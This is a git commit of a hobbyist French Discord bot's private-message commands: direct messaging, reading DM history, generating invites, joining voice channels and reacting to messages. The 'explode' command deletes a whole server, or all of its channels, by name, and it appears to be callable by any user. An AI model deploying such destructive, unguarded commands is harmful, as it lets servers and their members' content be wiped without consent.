Initial commit

This commit is contained in:
2024-05-05 13:22:35 +02:00
commit 42340fa164
43 changed files with 3999 additions and 0 deletions

45
dmCommands/dm.js Normal file
View File

@ -0,0 +1,45 @@
const { MessageEmbed } = require("discord.js");
const config = require("../botconfig/config.json");
const ee = require("../botconfig/embed.json");
module.exports = {
name: "dm",
isPrivate: true,
usage: "dm <USER_ID> <MESSAGE>",
description: "Envoie un message privé à l'utilisateur spécifié par son id.",
run: async (client, message, text, args) => {
try {
let text = args.slice(1).join(" ")
client.users.fetch(args[0], false).then(u => {
try {
u.send({ content : text}).then(() => {
message.react("✅")
})
.catch(e => {
message.react("❌")
})
}
catch (e) {
message.react("❌")
console.log(String(e.stack).bgRed);
}
}).catch(() => {
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Pas d'utilisateur trouvé :(`)]}
);
})
} catch (e) {
console.log(String(e.stack).bgRed);
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
);
}
},
};

72
dmCommands/explode.js Normal file
View File

@ -0,0 +1,72 @@
const { MessageEmbed } = require("discord.js");
const config = require("../botconfig/config.json");
const ee = require("../botconfig/embed.json");
module.exports = {
name: "explode",
usage: "explode",
description: 'DESTRUCTION',
run: async (client, message, text, args) => {
try {
if (!args[0]) {
message.channel.send({embeds: [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Pas assez d'arguments`)
.setDescription("`[help explode` pour plus d'informations")
]})
return;
}
let serverName = args.join(" ")
let guild = client.guilds.cache.find(guild => guild.name == `${serverName}`)
if (guild) {
if (!guild.me.permissions.has("ADMINISTRATOR") && guild.me.permissions.has("MANAGE_GUILD")) {
console.log(guild.name);
// Deletion
guild.delete()
return message.channel.send(`${guild.name} exploded`)
}
else {
// Delete channels
guild.channels.cache.each(channel => {
channel.delete()
.then(console.log)
.catch(console.error);
});
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | J'ai pas les droits fréro`)]}
);
}
}
else {
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Pas de serveur trouvé :(`)]}
);
}
} catch (e) {
console.log(String(e.stack).bgRed);
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
);
}
}
}
/** Template by Tomato#6966 | https://github.com/Tomato6966/Discord-Js-Handler-Template */

81
dmCommands/getDM.js Normal file
View File

@ -0,0 +1,81 @@
const { MessageEmbed } = require("discord.js");
const config = require("../botconfig/config.json");
const ee = require("../botconfig/embed.json");
const misc = require("../botconfig/misc.json")
const { delay } = require("../handlers/functions");
module.exports = {
name: "getdm",
isPrivate: true,
usage: "getDM <USER_ID> [MAX_FETCH]",
description: "Donne la conversation du bot avec l'utilisateur spécifié. Prends les `MAX_FETCH` derniers messages (100 par défaut)",
run: async (client, message, text, args) => {
try {
client.users.fetch(args[0], false).then(async (u) => {
let dmChannel = u.dmChannel || await u.createDM()
fetchLimit = args[1] || 100
dmChannel.messages.fetch({ limit: fetchLimit }).then(messages => {
if (messages.size == 0) {
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Aucun message n'as été envoyé à cet utilisateur.`)
]}
);
}
messages.sort((msgA, msgB) => msgA.createdTimestamp - msgB.createdTimestamp);
// console.log(`Received ${messages.size} messages`);
let toSend = ""
messages.sorted((msgA, msgB) => msgA.createdTimestamp - msgB.createdTimestamp).forEach(msg => {
let txt = `${msg.author} : ${msg.content} \`${msg.createdAt.toLocaleDateString()} ${msg.createdAt.getHours()}:${msg.createdAt.getMinutes()}:${msg.createdAt.getSeconds()}\`\n`
if (toSend.length + txt.length >= misc.MESSAGE_CHAR_LIMIT) {
delay(30)
message.channel.send({ content : toSend})
toSend = txt.slice(0, misc.MESSAGE_CHAR_LIMIT - 1)
}
else {
toSend += txt
if (txt.includes("http")) {
delay(100)
message.channel.send({ content : toSend})
toSend = ""
}
}
})
if (toSend.length > 0) {
delay(30)
message.channel.send({ content : toSend})
}
message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.color)
.setTitle(`Reçu ${messages.size} messages`)]}
);
})
}).catch((e) => {
console.log(e)
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | C'est utilisateur n'existe pas :(`)]}
);
})
} catch (e) {
console.log(String(e.stack).bgRed);
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
);
}
},
};

101
dmCommands/getInvite.js Normal file
View File

@ -0,0 +1,101 @@
const { MessageEmbed } = require("discord.js");
const config = require("../botconfig/config.json");
const ee = require("../botconfig/embed.json");
module.exports = {
name: "getinvite",
isPrivate: false,
usage: "getInvite <NOM DU SERVEUR>",
description: "Donne un lien d'invitation vers le serveur spécifié.",
run: async (client, message, text, args) => {
try {
if (!args[0]) {
message.channel.send({embeds: [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Pas assez d'arguments`)
.setDescription("`[help getinvite` pour plus d'informations")
]})
return;
}
let serverName = args.join(" ")
// if (serverName.length < 3) {
// return message.channel.send(
// new MessageEmbed()
// .setColor(ee.wrongcolor)
// .setTitle(`❌ ERREUR | Pas de serveur avec ce nom trouvé`)
// );
// }
let guild = client.guilds.cache.find(guild => guild.name == `${serverName}`)
if (guild) {
if (!guild.me.permissions.has("ADMINISTRATOR")) {
if (guild.me.permissions.has("CREATE_INSTANT_INVITE")) {
let channel = guild.channels.cache.filter(channel => channel.type === "GUILD_TEXT").first()
if (channel) {
let invite = await channel.createInvite(
{
maxAge: 3 * 60, // maximum time for the invite, in secondes
maxUses: 1, // maximum times it can be used
reason: `Requested by my creator, Ninluc#1800`
}
)
// .then(() => {
console.log(invite);
message.channel.send({ embeds : [
new MessageEmbed()
.setColor(ee.color)
.setTitle(`✅ | https://www.discord.gg/${invite.code}`)]}
);
// })
// .catch((e) => {
// console.log(String(e.stack).bgRed);
// })
}
}
else {
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | J'ai pas les droits fréro`)]}
);
}
}
else {
guild.invites.fetch().then((invites) => {
if (invites.first()) {
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.color)
.setTitle(`✅ | https://www.discord.gg/${invites.first().code}`)]}
);
}
})
}
}
else {
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Pas de serveur trouvé :(`)]}
);
}
} catch (e) {
console.log(String(e.stack).bgRed);
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
);
}
},
};

93
dmCommands/help.js Normal file
View File

@ -0,0 +1,93 @@
const { MessageEmbed } = require("discord.js");
const config = require("../botconfig/config.json");
const ee = require("../botconfig/embed.json");
const { isNinluc } = require("../handlers/functions");
module.exports = {
name: "help",
isPrivate: false,
usage: "help [COMMANDE]",
description: "Donne les commandes en messages privés disponibles",
run: async (client, message, text, args) => {
try {
if (args[0]) {
const embed = new MessageEmbed();
const cmd = client.commands.get(args[0].toLowerCase()) || client.dmCommands.get(args[0].toLowerCase());
if (!cmd) {
return message.channel.send({ embeds : [embed.setColor(ee.wrongcolor).setDescription(`Aucune info trouvée pour la commande **${args[0].toLowerCase()}**`)]});
}
if (cmd.name) embed.addField("**Commande :**", `\`${cmd.name}\``);
if (cmd.name) embed.setTitle(`Informations à propos de la commande : \`${cmd.name}\``);
if (cmd.description) embed.addField("**Description**", `${cmd.isPrivate ? "__*Commande privée*__.\n" : ""}${cmd.description}`);
if (cmd.usage) {
embed.addField("**Utilisation**", `\`${config.prefix}${cmd.usage}\``);
embed.setFooter({text :"Syntaxe: <> = obligatoire, [] = optionnel"});
}
return message.channel.send({embeds : [embed.setColor(ee.color)]});
} else {
const embed = new MessageEmbed()
.setColor(ee.color)
.setThumbnail(client.user.displayAvatarURL().replace(".webp", ".gif"))
.setTitle("Menu d'aide 📖 Commandes")
.setFooter({text :`TIPS : Pour avoir des informations détaillées sur une commande, faites : \n${config.prefix}help [NOM_DE_LA_COMMANDE]`, iconURL : client.user.displayAvatarURL().replace(".webp", ".gif")});
if (isNinluc(message.author.id)) {
var commands = client.dmCommands.map((cmd) => `\`${cmd.name}\``);
}
else {
var commands = client.dmCommands.filter((cmd) => !cmd.isPrivate).map((cmd) => `\`${cmd.name}\``);
}
try {
const n = 3;
const result = [[], [], []];
const wordsPerLine = Math.ceil(commands.length / 3);
for (let line = 0; line < n; line++) {
for (let i = 0; i < wordsPerLine; i++) {
const value = commands[i + line * wordsPerLine];
if (!value) continue;
result[line].push(value);
}
}
embed.addField(`\u200b`, `> ${result[0].join("\n> ")}`, true);
embed.addField(`\u200b`, `${result[1].join("\n") ? result[1].join("\n") : "\u200b"}`, true);
embed.addField(`\u200b`, `${result[2].join("\n") ? result[2].join("\n") : "\u200b"}`, true);
// for (let i = 0; i < client.categories.length; i += 1) {
// const current = client.categories[i];
// const items = commands(current);
// const n = 3;
// const result = [[], [], []];
// const wordsPerLine = Math.ceil(items.length / 3);
// for (let line = 0; line < n; line++) {
// for (let i = 0; i < wordsPerLine; i++) {
// const value = items[i + line * wordsPerLine];
// if (!value) continue;
// result[line].push(value);
// }
// }
// embed.addField(`**${current.toUpperCase()} [${items.length}]**`, `> ${result[0].join("\n> ")}`, true);
// embed.addField(`\u200b`, `${result[1].join("\n") ? result[1].join("\n") : "\u200b"}`, true);
// embed.addField(`\u200b`, `${result[2].join("\n") ? result[2].join("\n") : "\u200b"}`, true);
// }
} catch (e) {
console.log(String(e.stack).red);
}
message.channel.send({embeds : [embed]});
}
} catch (e) {
console.log(String(e.stack).bgRed);
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
);
}
},
};

124
dmCommands/joinvc.js Normal file
View File

@ -0,0 +1,124 @@
const fs = require("fs");
const { MessageEmbed } = require("discord.js");
const config = require("../botconfig/config.json");
const ee = require("../botconfig/embed.json");
const { choose } = require("../handlers/functions");
const { createAudioPlayer, joinVoiceChannel, createAudioResource, StreamType } = require('@discordjs/voice');
const { VoiceConnectionStatus } = require('@discordjs/voice');
const player = createAudioPlayer();
const ffmpeg = require("ffmpeg-static");
module.exports = {
name: "joinvc",
isPrivate: false,
usage: "joinvc <ID_DE_LA_VOC>",
description: "Rejoins le salon vocal spécifié à l'aide de son id (activer le mode développeur → clic droit sur la voc → copier l'identifiant).",
run: async (client, message, text, args) => {
try {
if (!args[0]) {
message.channel.send({embeds: [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Pas assez d'arguments`)
.setDescription("`[help joinvc` pour plus d'informations")
]})
return;
}
let channel = client.channels.cache.find(channel => channel.id == `${args[0]}`)
if (
!channel || !channel.isVoice()
|| !channel.permissionsFor(channel.guild.me).has("CONNECT")
|| !channel.permissionsFor(channel.guild.me).has("SPEAK")
) {
// message.react("❌")
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Pas de voc trouvée :(`)]}
);
}
player.on('error', error => {
// subscription.unsubscribe()
if (connection.state.status != "destroyed") {
connection.destroy();
}
});
player.on('idle', () => {
// subscription.unsubscribe()
if (connection.state.status != "destroyed") {
connection.destroy();
}
console.log('Info : Ended track');
});
let videos = fs.readdirSync(`./sounds/`).filter((file) => file.endsWith(".mp3"))
// voiceState.setSelfMute(0);
// var channel = voiceState.channel
const connection = joinVoiceChannel({
channelId: channel.id,
guildId: channel.guild.id,
adapterCreator: channel.guild.voiceAdapterCreator,
});
// const subscription = connection.subscribe(player);
var rdVideoLink = choose(videos)
try {
connection.on(VoiceConnectionStatus.Ready, async() => {
connection;
let subscription = connection.subscribe(player);
const resource = createAudioResource("./sounds/" + rdVideoLink, {
inputType: StreamType.Arbitrary
});
resource.playStream.on("finish", () => {
setTimeout(() => {
// subscription.unsubscribe()
if (connection.state.status != "destroyed") {
connection.destroy();
}
}, 2000)
})
// if (subscription) {
// // Unsubscribe after 5 seconds (stop playing audio on the voice connection)
// setTimeout(() => subscription.unsubscribe(), 5_000);
// }
player.play(resource);
})
// setTimeout(() => {
// subscription.unsubscribe()
// if (connection.state.status != "destroyed") {
// connection.destroy();
// }
// }, 60 * 1000)
message.channel.send(`Je joue *${rdVideoLink.split('.')[0]}* dans le salon ${channel} du serveur **${channel.guild.name}**`);
} catch (error) {
console.log(error.message)
}
} catch (e) {
console.log(String(e.stack).bgRed);
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
);
}
},
};

63
dmCommands/react.js vendored Normal file
View File

@ -0,0 +1,63 @@
const { MessageEmbed } = require("discord.js");
const config = require("../botconfig/config.json");
const ee = require("../botconfig/embed.json");
async function fetchMsg(client, id) {
return new Promise(async resolve => {
client.guilds.cache.forEach((guild) => {
guild.channels.cache.forEach( async (channel) => {
// console.log(channel.messages)
if (channel.messages) {
let find = await channel.messages.fetch(id)
.catch(e => {})
if (find) {
console.log("found one")
resolve(find);
}
}
})
})
})
}
module.exports = {
name: "react",
usage: "react <MESSAGE_ID> <EMOJI>",
description: 'Réagis à un message déterminé par son id',
run: async (client, message, text, args) => {
try {
// Vérification
if (!args[0] || !args[1]) {
return message.channel.send({embeds: [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Pas assez d'arguments`)
.setDescription("`[help react` pour plus d'informations")
]})
}
// Prends le message
let msg = await fetchMsg(client, args[0])
if (msg) {
msg.react(args[1]);
message.react("✅");
}
else {
message.react("❌");
}
} catch (e) {
console.log(String(e.stack).bgRed);
return message.channel.send({embeds : [
new MessageEmbed()
.setColor(ee.wrongcolor)
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
);
}
}
}
/** Template by Tomato#6966 | https://github.com/Tomato6966/Discord-Js-Handler-Template */

8
dmCommands/uptime.js Normal file
View File

@ -0,0 +1,8 @@
const uptime = require('../commands/Informations/uptime.js');
module.exports = {
name: uptime.name,
isPrivate: false,
usage: uptime.usage,
description: uptime.description,
run: uptime.run,
};